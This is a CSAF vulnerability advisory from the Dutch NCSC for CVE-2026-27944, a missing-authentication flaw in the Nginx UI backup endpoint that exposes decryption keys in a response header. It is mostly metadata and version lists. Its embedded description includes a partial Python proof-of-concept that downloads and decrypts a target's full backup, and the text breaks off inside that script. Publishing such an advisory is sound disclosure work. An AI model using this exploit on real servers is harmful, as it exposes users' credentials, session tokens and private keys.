{
"document": {
"category": "csaf_base",
"csaf_version": "2.0",
"distribution": {
"tlp": {
"label": "WHITE"
}
},
"lang": "en",
"notes": [
{
"category": "legal_disclaimer",
"text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
}
],
"publisher": {
"category": "coordinator",
"contact_details": "cert@ncsc.nl",
"name": "National Cyber Security Centre",
"namespace": "https://www.ncsc.nl/"
},
"title": "CVE-2026-27944",
"tracking": {
"current_release_date": "2026-03-30T14:27:19.280678Z",
"generator": {
"date": "2026-02-17T15:00:00Z",
"engine": {
"name": "V.E.L.M.A",
"version": "1.7"
}
},
"id": "CVE-2026-27944",
"initial_release_date": "2026-03-05T18:39:15.069375Z",
"revision_history": [
{
"date": "2026-03-05T18:39:15.069375Z",
"number": "1",
"summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (1).| CWES updated (1)."
},
{
"date": "2026-03-05T18:39:17.209161Z",
"number": "2",
"summary": "NCSC Score created."
},
{
"date": "2026-03-05T18:41:06.509890Z",
"number": "3",
"summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (5).| CWES updated (1)."
},
{
"date": "2026-03-05T18:41:10.565969Z",
"number": "4",
"summary": "NCSC Score updated."
},
{
"date": "2026-03-05T19:29:13.968230Z",
"number": "5",
"summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (1).| CWES updated (1)."
},
{
"date": "2026-03-05T19:29:19.259896Z",
"number": "6",
"summary": "NCSC Score updated."
},
{
"date": "2026-03-05T22:48:54.756058Z",
"number": "7",
"summary": "References created (1)."
},
{
"date": "2026-03-06T00:12:39.084333Z",
"number": "8",
"summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (5).| CWES updated (1)."
},
{
"date": "2026-03-06T14:54:06.270892Z",
"number": "9",
"summary": "Source created.| CVE status created. (valid)| EPSS created."
},
{
"date": "2026-03-06T14:54:09.365987Z",
"number": "10",
"summary": "NCSC Score updated."
},
{
"date": "2026-03-06T16:39:05.742511Z",
"number": "11",
"summary": "Unknown change."
},
{
"date": "2026-03-10T12:00:46.436703Z",
"number": "12",
"summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| Exploits created (1).| References created (3).| CWES updated (1)."
},
{
"date": "2026-03-10T12:00:56.122355Z",
"number": "13",
"summary": "NCSC Score updated."
},
{
"date": "2026-03-10T12:03:47.773823Z",
"number": "14",
"summary": "References created (1).| References removed (1)."
},
{
"date": "2026-03-10T12:03:48.697572Z",
"number": "15",
"summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| Exploits created (1).| References created (4).| CWES updated (1)."
},
{
"date": "2026-03-10T12:03:49.274046Z",
"number": "16",
"summary": "Description removed for source.| Description created for source.| References created (1)."
},
{
"date": "2026-03-10T18:27:58.234048Z",
"number": "17",
"summary": "Products created (1).| Product Identifiers created (1).| Exploits created (1)."
},
{
"date": "2026-03-10T18:28:03.302948Z",
"number": "18",
"summary": "NCSC Score updated."
},
{
"date": "2026-03-11T14:58:04.724849Z",
"number": "19",
"summary": "EPSS updated."
},
{
"date": "2026-03-11T14:58:08.721976Z",
"number": "20",
"summary": "NCSC Score updated."
},
{
"date": "2026-03-13T10:05:38.347709Z",
"number": "21",
"summary": "Source created.| CVE status created. (valid)| Products created (1).| References created (3)."
},
{
"date": "2026-03-13T10:05:48.579766Z",
"number": "22",
"summary": "NCSC Score updated."
},
{
"date": "2026-03-20T04:46:31.666797Z",
"number": "23",
"summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (1).| CWES updated (1).| Unknown change."
},
{
"date": "2026-03-20T04:46:34.279631Z",
"number": "24",
"summary": "NCSC Score updated."
},
{
"date": "2026-03-20T09:39:24.754327Z",
"number": "25",
"summary": "Source connected.| CVE status created. (valid)| EPSS created."
},
{
"date": "2026-03-21T15:31:41.270550Z",
"number": "26",
"summary": "EPSS updated."
},
{
"date": "2026-03-21T15:31:43.468969Z",
"number": "27",
"summary": "NCSC Score updated."
},
{
"date": "2026-03-24T21:46:14.682153Z",
"number": "28",
"summary": "EPSS updated."
},
{
"date": "2026-03-24T21:46:26.459228Z",
"number": "29",
"summary": "NCSC Score updated."
},
{
"date": "2026-03-25T18:15:19.122785Z",
"number": "30",
"summary": "Source created.| CVE status created. (valid)| Description created for source.| References created (5)."
},
{
"date": "2026-03-25T18:15:21.756885Z",
"number": "31",
"summary": "NCSC Score updated."
},
{
"date": "2026-03-25T21:44:43.480096Z",
"number": "32",
"summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (151).| Products created (33).| References created (3).| CWES updated (1)."
},
{
"date": "2026-03-26T23:44:42.840113Z",
"number": "33",
"summary": "NCSC Score updated."
},
{
"date": "2026-03-30T14:26:07.548049Z",
"number": "34",
"summary": "EPSS updated."
},
{
"date": "2026-03-30T14:26:15.651788Z",
"number": "35",
"summary": "NCSC Score updated."
}
],
"status": "interim",
"version": "35"
}
},
"product_tree": {
"branches": [
{
"branches": [
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/>=0|<2.3.3",
"product": {
"name": "vers:unknown/>=0|<2.3.3",
"product_id": "CSAFPID-5764019"
}
}
],
"category": "product_name",
"name": "Nginx-UI"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/<2.3.3",
"product": {
"name": "vers:unknown/<2.3.3",
"product_id": "CSAFPID-5763358"
}
}
],
"category": "product_name",
"name": "nginx-ui"
}
],
"category": "vendor",
"name": "0xJacky"
},
{
"branches": [
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/unknown",
"product": {
"name": "vers:unknown/unknown",
"product_id": "CSAFPID-5774473"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.1.0",
"product": {
"name": "vers:unknown/v1.1.0",
"product_id": "CSAFPID-3845497"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.2.0",
"product": {
"name": "vers:unknown/v1.2.0",
"product_id": "CSAFPID-3845498"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.2.0-alpha.3",
"product": {
"name": "vers:unknown/v1.2.0-alpha.3",
"product_id": "CSAFPID-3845499"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.2.0-alpha.4",
"product": {
"name": "vers:unknown/v1.2.0-alpha.4",
"product_id": "CSAFPID-3845500"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.2.0-rc.1",
"product": {
"name": "vers:unknown/v1.2.0-rc.1",
"product_id": "CSAFPID-3845501"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.2.0-rc.2",
"product": {
"name": "vers:unknown/v1.2.0-rc.2",
"product_id": "CSAFPID-3845502"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.2.0-rc.3",
"product": {
"name": "vers:unknown/v1.2.0-rc.3",
"product_id": "CSAFPID-3845503"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.2.1",
"product": {
"name": "vers:unknown/v1.2.1",
"product_id": "CSAFPID-3845504"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.2.2",
"product": {
"name": "vers:unknown/v1.2.2",
"product_id": "CSAFPID-3845505"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.3.0",
"product": {
"name": "vers:unknown/v1.3.0",
"product_id": "CSAFPID-3845506"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.3.0-rc1",
"product": {
"name": "vers:unknown/v1.3.0-rc1",
"product_id": "CSAFPID-3845507"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.3.1",
"product": {
"name": "vers:unknown/v1.3.1",
"product_id": "CSAFPID-3845508"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.3.1-fix",
"product": {
"name": "vers:unknown/v1.3.1-fix",
"product_id": "CSAFPID-3845509"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.3.2",
"product": {
"name": "vers:unknown/v1.3.2",
"product_id": "CSAFPID-3845510"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.3.3-rc1",
"product": {
"name": "vers:unknown/v1.3.3-rc1",
"product_id": "CSAFPID-3845511"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.4.0",
"product": {
"name": "vers:unknown/v1.4.0",
"product_id": "CSAFPID-3845512"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.4.0-rc1",
"product": {
"name": "vers:unknown/v1.4.0-rc1",
"product_id": "CSAFPID-3845513"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.4.1",
"product": {
"name": "vers:unknown/v1.4.1",
"product_id": "CSAFPID-3845514"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.4.2",
"product": {
"name": "vers:unknown/v1.4.2",
"product_id": "CSAFPID-3845515"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.5.0",
"product": {
"name": "vers:unknown/v1.5.0",
"product_id": "CSAFPID-3845516"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.5.0-beta1",
"product": {
"name": "vers:unknown/v1.5.0-beta1",
"product_id": "CSAFPID-3845517"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.5.0-beta2",
"product": {
"name": "vers:unknown/v1.5.0-beta2",
"product_id": "CSAFPID-3845518"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.5.0-beta3",
"product": {
"name": "vers:unknown/v1.5.0-beta3",
"product_id": "CSAFPID-3845519"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.5.0-beta4",
"product": {
"name": "vers:unknown/v1.5.0-beta4",
"product_id": "CSAFPID-3845520"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.5.0-beta4-fix",
"product": {
"name": "vers:unknown/v1.5.0-beta4-fix",
"product_id": "CSAFPID-3845521"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.5.0-beta5",
"product": {
"name": "vers:unknown/v1.5.0-beta5",
"product_id": "CSAFPID-3845522"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.5.0-beta6",
"product": {
"name": "vers:unknown/v1.5.0-beta6",
"product_id": "CSAFPID-3845523"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.5.0-beta7",
"product": {
"name": "vers:unknown/v1.5.0-beta7",
"product_id": "CSAFPID-3845524"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.5.0-beta8",
"product": {
"name": "vers:unknown/v1.5.0-beta8",
"product_id": "CSAFPID-3845525"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.5.0-beta9",
"product": {
"name": "vers:unknown/v1.5.0-beta9",
"product_id": "CSAFPID-3845526"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.5.1",
"product": {
"name": "vers:unknown/v1.5.1",
"product_id": "CSAFPID-3845527"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.5.2",
"product": {
"name": "vers:unknown/v1.5.2",
"product_id": "CSAFPID-3845528"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.6.0",
"product": {
"name": "vers:unknown/v1.6.0",
"product_id": "CSAFPID-3845529"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.6.0-fix",
"product": {
"name": "vers:unknown/v1.6.0-fix",
"product_id": "CSAFPID-3845530"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.6.1",
"product": {
"name": "vers:unknown/v1.6.1",
"product_id": "CSAFPID-3845531"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.6.2",
"product": {
"name": "vers:unknown/v1.6.2",
"product_id": "CSAFPID-3845532"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.6.3",
"product": {
"name": "vers:unknown/v1.6.3",
"product_id": "CSAFPID-3845533"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.6.5",
"product": {
"name": "vers:unknown/v1.6.5",
"product_id": "CSAFPID-3845534"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.6.6",
"product": {
"name": "vers:unknown/v1.6.6",
"product_id": "CSAFPID-3845535"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.6.7",
"product": {
"name": "vers:unknown/v1.6.7",
"product_id": "CSAFPID-3845536"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.6.8",
"product": {
"name": "vers:unknown/v1.6.8",
"product_id": "CSAFPID-3845537"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.7.0",
"product": {
"name": "vers:unknown/v1.7.0",
"product_id": "CSAFPID-3845538"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.7.0-patch",
"product": {
"name": "vers:unknown/v1.7.0-patch",
"product_id": "CSAFPID-3845539"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.7.1",
"product": {
"name": "vers:unknown/v1.7.1",
"product_id": "CSAFPID-3845540"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.7.2",
"product": {
"name": "vers:unknown/v1.7.2",
"product_id": "CSAFPID-3845541"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.7.3",
"product": {
"name": "vers:unknown/v1.7.3",
"product_id": "CSAFPID-3845542"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.7.4",
"product": {
"name": "vers:unknown/v1.7.4",
"product_id": "CSAFPID-3845543"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.7.5",
"product": {
"name": "vers:unknown/v1.7.5",
"product_id": "CSAFPID-3845544"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.7.6",
"product": {
"name": "vers:unknown/v1.7.6",
"product_id": "CSAFPID-3845545"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.7.7",
"product": {
"name": "vers:unknown/v1.7.7",
"product_id": "CSAFPID-3845546"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.7.8",
"product": {
"name": "vers:unknown/v1.7.8",
"product_id": "CSAFPID-3845547"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.7.9",
"product": {
"name": "vers:unknown/v1.7.9",
"product_id": "CSAFPID-3845548"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.8.0",
"product": {
"name": "vers:unknown/v1.8.0",
"product_id": "CSAFPID-3845549"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.8.1",
"product": {
"name": "vers:unknown/v1.8.1",
"product_id": "CSAFPID-3845550"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.8.2",
"product": {
"name": "vers:unknown/v1.8.2",
"product_id": "CSAFPID-3845551"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.8.3",
"product": {
"name": "vers:unknown/v1.8.3",
"product_id": "CSAFPID-3845552"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.8.4",
"product": {
"name": "vers:unknown/v1.8.4",
"product_id": "CSAFPID-3845553"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.8.4-patch",
"product": {
"name": "vers:unknown/v1.8.4-patch",
"product_id": "CSAFPID-3845554"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.9.9",
"product": {
"name": "vers:unknown/v1.9.9",
"product_id": "CSAFPID-3845555"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.9.9-1",
"product": {
"name": "vers:unknown/v1.9.9-1",
"product_id": "CSAFPID-3845556"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.9.9-2",
"product": {
"name": "vers:unknown/v1.9.9-2",
"product_id": "CSAFPID-3845557"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.9.9-3",
"product": {
"name": "vers:unknown/v1.9.9-3",
"product_id": "CSAFPID-3845558"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v1.9.9-4",
"product": {
"name": "vers:unknown/v1.9.9-4",
"product_id": "CSAFPID-3845559"
}
},
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"name": "vers:unknown/v2.1.0-beta.1",
"product": {
"name": "vers:unknown/v2.1.0-beta.1",
"product_id": "CSAFPID-5910303"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v2.1.0-patch.1",
"product": {
"name": "vers:unknown/v2.1.0-patch.1",
"product_id": "CSAFPID-5910304"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v2.1.0-rc.1",
"product": {
"name": "vers:unknown/v2.1.0-rc.1",
"product_id": "CSAFPID-5910305"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v2.1.0-rc.2",
"product": {
"name": "vers:unknown/v2.1.0-rc.2",
"product_id": "CSAFPID-5910306"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v2.1.0-rc.3",
"product": {
"name": "vers:unknown/v2.1.0-rc.3",
"product_id": "CSAFPID-5910307"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v2.1.1",
"product": {
"name": "vers:unknown/v2.1.1",
"product_id": "CSAFPID-5910308"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v2.1.10",
"product": {
"name": "vers:unknown/v2.1.10",
"product_id": "CSAFPID-5910309"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v2.1.11",
"product": {
"name": "vers:unknown/v2.1.11",
"product_id": "CSAFPID-5910310"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v2.1.12",
"product": {
"name": "vers:unknown/v2.1.12",
"product_id": "CSAFPID-5910311"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v2.1.13",
"product": {
"name": "vers:unknown/v2.1.13",
"product_id": "CSAFPID-5910312"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v2.1.14",
"product": {
"name": "vers:unknown/v2.1.14",
"product_id": "CSAFPID-5910313"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v2.1.15",
"product": {
"name": "vers:unknown/v2.1.15",
"product_id": "CSAFPID-5910314"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v2.1.16",
"product": {
"name": "vers:unknown/v2.1.16",
"product_id": "CSAFPID-5910315"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v2.1.17",
"product": {
"name": "vers:unknown/v2.1.17",
"product_id": "CSAFPID-5910316"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v2.1.2",
"product": {
"name": "vers:unknown/v2.1.2",
"product_id": "CSAFPID-5910317"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v2.1.3",
"product": {
"name": "vers:unknown/v2.1.3",
"product_id": "CSAFPID-5910318"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v2.1.4",
"product": {
"name": "vers:unknown/v2.1.4",
"product_id": "CSAFPID-5910319"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v2.1.4-patch.1",
"product": {
"name": "vers:unknown/v2.1.4-patch.1",
"product_id": "CSAFPID-5910320"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v2.1.5",
"product": {
"name": "vers:unknown/v2.1.5",
"product_id": "CSAFPID-5910321"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v2.1.6",
"product": {
"name": "vers:unknown/v2.1.6",
"product_id": "CSAFPID-5910322"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v2.1.7",
"product": {
"name": "vers:unknown/v2.1.7",
"product_id": "CSAFPID-5910323"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v2.1.8",
"product": {
"name": "vers:unknown/v2.1.8",
"product_id": "CSAFPID-5910324"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v2.1.9",
"product": {
"name": "vers:unknown/v2.1.9",
"product_id": "CSAFPID-5910325"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v2.2.0",
"product": {
"name": "vers:unknown/v2.2.0",
"product_id": "CSAFPID-5910326"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v2.2.0-patch.1",
"product": {
"name": "vers:unknown/v2.2.0-patch.1",
"product_id": "CSAFPID-5910327"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v2.2.1",
"product": {
"name": "vers:unknown/v2.2.1",
"product_id": "CSAFPID-5910328"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v2.3.0",
"product": {
"name": "vers:unknown/v2.3.0",
"product_id": "CSAFPID-5910329"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v2.3.1",
"product": {
"name": "vers:unknown/v2.3.1",
"product_id": "CSAFPID-5910330"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/v2.3.2",
"product": {
"name": "vers:unknown/v2.3.2",
"product_id": "CSAFPID-5910331"
}
}
],
"category": "product_name",
"name": "nginx-ui"
}
],
"category": "vendor",
"name": "0xjacky"
},
{
"branches": [
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/<2.3.3",
"product": {
"name": "vers:unknown/<2.3.3",
"product_id": "CSAFPID-5812830"
}
}
],
"category": "product_name",
"name": "nginx-ui"
}
],
"category": "vendor",
"name": "Open Source"
},
{
"branches": [
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/<2.3.3",
"product": {
"name": "vers:unknown/<2.3.3",
"product_id": "CSAFPID-5776244",
"product_identification_helper": {
"cpe": "cpe:2.3:a:nginxui:nginx_ui:*:*:*:*:*:*:*:*"
}
}
}
],
"category": "product_name",
"name": "nginx_ui"
}
],
"category": "vendor",
"name": "nginxui"
}
]
},
"vulnerabilities": [
{
"cve": "CVE-2026-27944",
"cwe": {
"id": "CWE-306",
"name": "Missing Authentication for Critical Function"
},
"notes": [
{
"category": "description",
"text": "Nginx UI is a web user interface for the Nginx web server. Prior to version 2.3.3, the /api/backup endpoint is accessible without authentication and discloses the encryption keys required to decrypt the backup in the X-Backup-Security response header. This allows an unauthenticated attacker to download a full system backup containing sensitive data (user credentials, session tokens, SSL private keys, Nginx configurations) and decrypt it immediately. This issue has been patched in version 2.3.3.",
"title": "cveprojectv5 - https://www.cve.org/CVERecord?id=CVE-2026-27944"
},
{
"category": "description",
"text": "## Summary\n\nThe `/api/backup` endpoint is accessible without authentication and discloses the encryption keys required to decrypt the backup in the `X-Backup-Security` response header. This allows an unauthenticated attacker to download a full system backup containing sensitive data (user credentials, session tokens, SSL private keys, Nginx configurations) and decrypt it immediately.\n\n## Vulnerability Details\n\n| Field | Value |\n|-------|-------|\n| CWE | CWE-306: Missing Authentication for Critical Function + CWE-311: Missing Encryption of Sensitive Data |\n| Affected File | `api/backup/router.go` |\n| Affected Function | `CreateBackup` (lines 8-11 in router, implementation in `api/backup/backup.go:13-38`) |\n| Secondary File | `internal/backup/backup.go` |\n| CVSS 3.1 | 9.8 (Critical) |\n| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |\n\n## Root Cause\n\nThe vulnerability exists due to two critical security flaws:\n\n### 1. Missing Authentication on /api/backup Endpoint\n\nIn `api/backup/router.go:9`, the backup endpoint is registered without any authentication middleware:\n\n```go\nfunc InitRouter(r *gin.RouterGroup) {\n\tr.GET(\"/backup\", CreateBackup) // No authentication required\n\tr.POST(\"/restore\", middleware.EncryptedForm(), RestoreBackup) // Has middleware\n}\n```\n\nFor comparison, the restore endpoint correctly uses middleware, while the backup endpoint is completely open.\n\n### 2. Encryption Keys Disclosed in HTTP Response Headers\n\nIn `api/backup/backup.go:22-33`, the AES-256 encryption key and IV are sent in plaintext via the `X-Backup-Security` header:\n\n```go\nfunc CreateBackup(c *gin.Context) {\n\tresult, err := backup.Backup()\n\tif err != nil {\n\t\tcosy.ErrHandler(c, err)\n\t\treturn\n\t}\n\n\t// Concatenate Key and IV\n\tsecurityToken := result.AESKey + \":\" + result.AESIv // Keys sent in header\n\n\t// ...\n\tc.Header(\"X-Backup-Security\", securityToken) // Keys exposed to anyone\n\n\t// Send file content\n\thttp.ServeContent(c.Writer, c.Request, fileName, modTime, reader)\n}\n```\n\nThe encryption keys are Base64-encoded AES-256 key (32 bytes) and IV (16 bytes), formatted as `key:iv`.\n\n### 3. Backup Contents\n\nThe backup archive (created in `internal/backup/backup.go`) contains:\n\n```go\n// Files included in backup:\n- nginx-ui.zip (encrypted)\n └── database.db // User credentials, session tokens\n └── app.ini // Configuration with secrets\n └── server.key/cert // SSL certificates\n\n- nginx.zip (encrypted)\n └── nginx.conf // Nginx configuration\n └── sites-enabled/* // Virtual host configs\n └── ssl/* // SSL private keys\n\n- hash_info.txt (encrypted)\n └── SHA-256 hashes for integrity verification\n```\n\nAll files are encrypted with AES-256-CBC, but the keys are disclosed in the response.\n\n## Proof of Concept\n\n### Python script\n\n```python\n#!/usr/bin/env python3\n\n\"\"\"\nPOC: Unauthenticated Backup Download + Key Disclosure via X-Backup-Security\n\nUsage:\n python poc.py --target http://127.0.0.1:9000 --out backup.bin --decrypt\n\"\"\"\n\nimport argparse\nimport base64\nimport os\nimport sys\nimport urllib.parse\nimport urllib.request\nimport zipfile\nfrom io import BytesIO\n\ntry:\n from Crypto.Cipher import AES\n from Crypto.Util.Padding import unpad\nexcept ImportError:\n print(\"Error: pycryptodome required for decryption\")\n print(\"Install with: pip install pycryptodome\")\n sys.exit(1)\n\n\ndef _parse_keys(hdr_val: str):\n \"\"\"\n Parse X-Backup-Security header format: \"base64_key:base64_iv\"\n Example: e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4=:7XdVSRcgYfWf7C/J0IS8Cg==\n \"\"\"\n v = (hdr_val or \"\").strip()\n\n # Format is: key:iv (both base64 encoded)\n if \":\" in v:\n parts = v.split(\":\", 1)\n if len(parts) == 2:\n return parts[0].strip(), parts[1].strip()\n\n return None, None\n\n\ndef decrypt_aes_cbc(encrypted_data: bytes, key_b64: str, iv_b64: str) -> bytes:\n \"\"\"Decrypt using AES-256-CBC with PKCS#7 padding\"\"\"\n key = base64.b64decode(key_b64)\n iv = base64.b64decode(iv_b64)\n\n if len(key) != 32:\n raise ValueError(f\"Invalid key length: {len(key)} (expected 32 bytes for AES-256)\")\n if len(iv) != 16:\n raise ValueError(f\"Invalid IV length: {len(iv)} (expected 16 bytes)\")\n\n cipher = AES.new(key, AES.MODE_CBC, iv)\n decrypted = cipher.decrypt(encrypted_data)\n return unpad(decrypted, AES.block_size)\n\n\ndef extract_backup(encrypted_zip_path: str, key_b64: str, iv_b64: str, output_dir: str):\n \"\"\"Extract and decrypt the backup archive\"\"\"\n print(f\"\\n[*] Extracting encrypted backup to {output_dir}\")\n\n os.makedirs(output_dir, exist_ok=True)\n\n # Extract the main ZIP (contains encrypted files)\n with zipfile.ZipFile(encrypted_zip_path, 'r') as main_zip:\n print(f\"[*] Main archive contains: {main_zip.namelist()}\")\n main_zip.extractall(output_dir)\n\n # Decrypt each file\n encrypted_files = [\"hash_info.txt\", \"nginx-ui.zip\", \"nginx.zip\"]\n\n for filename in encrypted_files:\n filepath = os.path.join(output_dir, filename)\n if not os.path.exists(filepath):\n print(f\"[!] Warning: {filename} not found\")\n continue\n\n print(f\"[*] Decrypting {filename}...\")\n\n with open(filepath, \"rb\") as f:\n encrypted = f.read()\n\n try:\n decrypted = decrypt_aes_cbc(encrypted, key_b64, iv_b64)\n\n # Write decrypted file\n decrypted_path = filepath.replace(\".zip\", \"_decrypted.zip\") if filename.endswith(\".zip\") else filepath + \".decrypted\"\n with open(decrypted_path, \"wb\") as f:\n f.write(decrypted)\n\n print(f\" → Saved to {decrypted_path} ({len(decrypted)} bytes)\")\n\n # If it's a ZIP, extract it\n if filename.endswith(\".zip\"):\n extract_dir = os.path.join(output_dir, filename.replace(\".zip\", \"\"))\n os.makedirs(extract_dir, exist_ok=True)\n with zipfile.ZipFile(BytesIO(decrypted), 'r') as inner_zip:\n inner_zip.extractall(extract_dir)\n print(f\" → Extracted {len(inner_zip.namelist())} files to {extract_dir}\")\n\n except Exception as e:\n print(f\" ✗ Failed to decrypt {filename}: {e}\")\n\n # Show hash info\n hash_info_path = os.path.join(output_dir, \"hash_info.txt.decrypted\")\n if os.path.exists(hash_info_path):\n print(f\"\\n[*] Hash info:\")\n with open(hash_info_path, \"r\") as f:\n print(f.read())\n\ndef main():\n ap = argparse.ArgumentParser(\n description=\"Nginx UI - Unauthenticated backup download with key disclosure\"\n )\n ap.add_argument(\"--target\", required=True, help=\"Base URL, e.g. http://host:port\")\n ap.add_argument(\"--out\", default=\"backup.bin\", help=\"Where to save the encrypted backup\")\n ap.add_argument(\"--decrypt\", action=\"store_true\", help=\"Decrypt the backup after download\")\n ap.add_argument(\"--extract-dir\", default=\"backup_extracted\", help=\"Directory to extract decrypted files\")\n\n args = ap.parse_args()\n\n url = urllib.parse.urljoin(args.target.rstrip(\"/\") + \"/\", \"api/backup\")\n\n # Unauthenticated request to the backup endpoint\n req = urllib.request.Request(url, method=\"GET\")\n\n try:\n with 